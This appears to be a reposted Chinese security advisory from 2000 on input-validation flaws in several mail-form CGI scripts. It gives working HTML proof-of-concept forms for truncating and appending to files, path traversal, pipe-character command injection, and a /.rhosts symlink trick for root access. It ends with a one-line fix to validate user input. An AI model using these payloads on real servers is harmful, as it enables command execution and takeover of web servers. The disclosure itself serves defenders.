发布日期：2000-02-27
更新日期：2000-02-27

受影响系统：

BNBFORM.CGI           (http://bignosebird.com/carchive/bnbform.shtml)
DCFORMS98.CGI         (http://www.dcscripts.com/dcforms98.shtml)
form.cgi和message.cgi (http://www.shavenferret.com/scripts/)

描述：

---

很多mail form cgi程序没有正确检查用户输入数据，导致本地用户可能创建/增加/清空
web server拥有的文件。也可能导致远程攻击者在系统执行任意命令（以web server权限)

1.BNBFORM.CGI

创建下列的表单:

        <form method=post action=/cgi-bin/bnbform.cgi>

        <input type=hidden name=blah value=blah>
        <input type=hidden name=required value=blah>
        <input type=hidden name=data_order value=blah>

        <!-- To truncate a file -->
        <input type=hidden name=countfile value="/tmp/whatever">
    
        <!-- To append to a file  -->
        <input type=hidden name=outputfile value="/tmp/whatever">

        <input type=submit>
        </form>
本地用户可以在/tmp下穿件一个链接指向/tmp/whatever.bcnt(如果设置了countfile),
或者/tmp/whatever.bout(如果设置了"outputfile").如果httpd以uid=0运行，攻击者可能
通过ln -s /tmp/whatever.bout /.rhosts,并设置变量"blah"的内容为"+ +\n"获得root
权限。例如；
        <input type=hidden name=blah value="+ +
">

2.DCFORMS98.CGI

创建下面的表单并提交，将创建/tmp/xxx文件。如果httpd以uid=0身份运行，攻击者
可能创建/.rhosts来获取root权限.

    <form action=/cgi-bin/dcforms98.cgi method=post>
    <INPUT TYPE="hidden" name="param_recipient" value="non@existant">
    <INPUT TYPE="hidden" name="param_subject" value="X">
    <INPUT TYPE="hidden" name="param_env_report" value="">
    <INPUT TYPE="hidden" name="param_order" value="Name">

    <!-- This is obviously the problem -->
    <INPUT TYPE="hidden" name="param_database"
        value="../../../../../../../../../../tmp/xxx">


    <INPUT TYPE="hidden" name="param_required" value="Name">
    <INPUT TYPE="hidden" name="param_redirect_url" value="">
    <input type=hidden name=Name value=blah>
    <input type=submit>
    </form>                             
    
3.form.cgi 和 message.cgi

由于缺乏对用户数据检查，用户可以以web server权限运行任何命令。

    (1) form.cgi

    
    <form action=/cgi-bin/form.cgi method=post>

        <!-- heres the little sucker -->
        <input type=hidden name=response value="| <cmd to exec>">

        <input type=hidden name=email value="suid@suid.edu">
        <input type=hidden name=name value="name">
         <input type=hidden name=subject value=x>
         <input type=submit>
    </form>       

    (2) message.cgi

    <form action=/cgi-bin/message.cgi method=post>
        <input type="hidden" name="name" value="X">
        <input type="hidden" name="email" value="X@X.X">
        <input type="hidden" name="subject" value="X">
        <input type="hidden" name="body" value="X">
        <input type="hidden" name="song" value="">
        <input type="hidden" name="icon" value="X">
        <input type="hidden" name="email_reply" value="no">
        <input type="hidden" name="history" value="">
    <!-- here tis -->
        <input type="hidden" name="forum"
        value=" | <command goes here> |">
    <!-- hmm -->

        <input type="hidden" name="required" value="0">
        <input type="hidden" name="reply" value="no">
        <input type="hidden" name="action" value="new_message">
        <input type="submit">
    </form>

<* 来源：http://www.suid.edu/advisories/ *>




建议：

---

增加对用户数据的有效性检查

浏览次数：7271
严重程度：0（网友投票）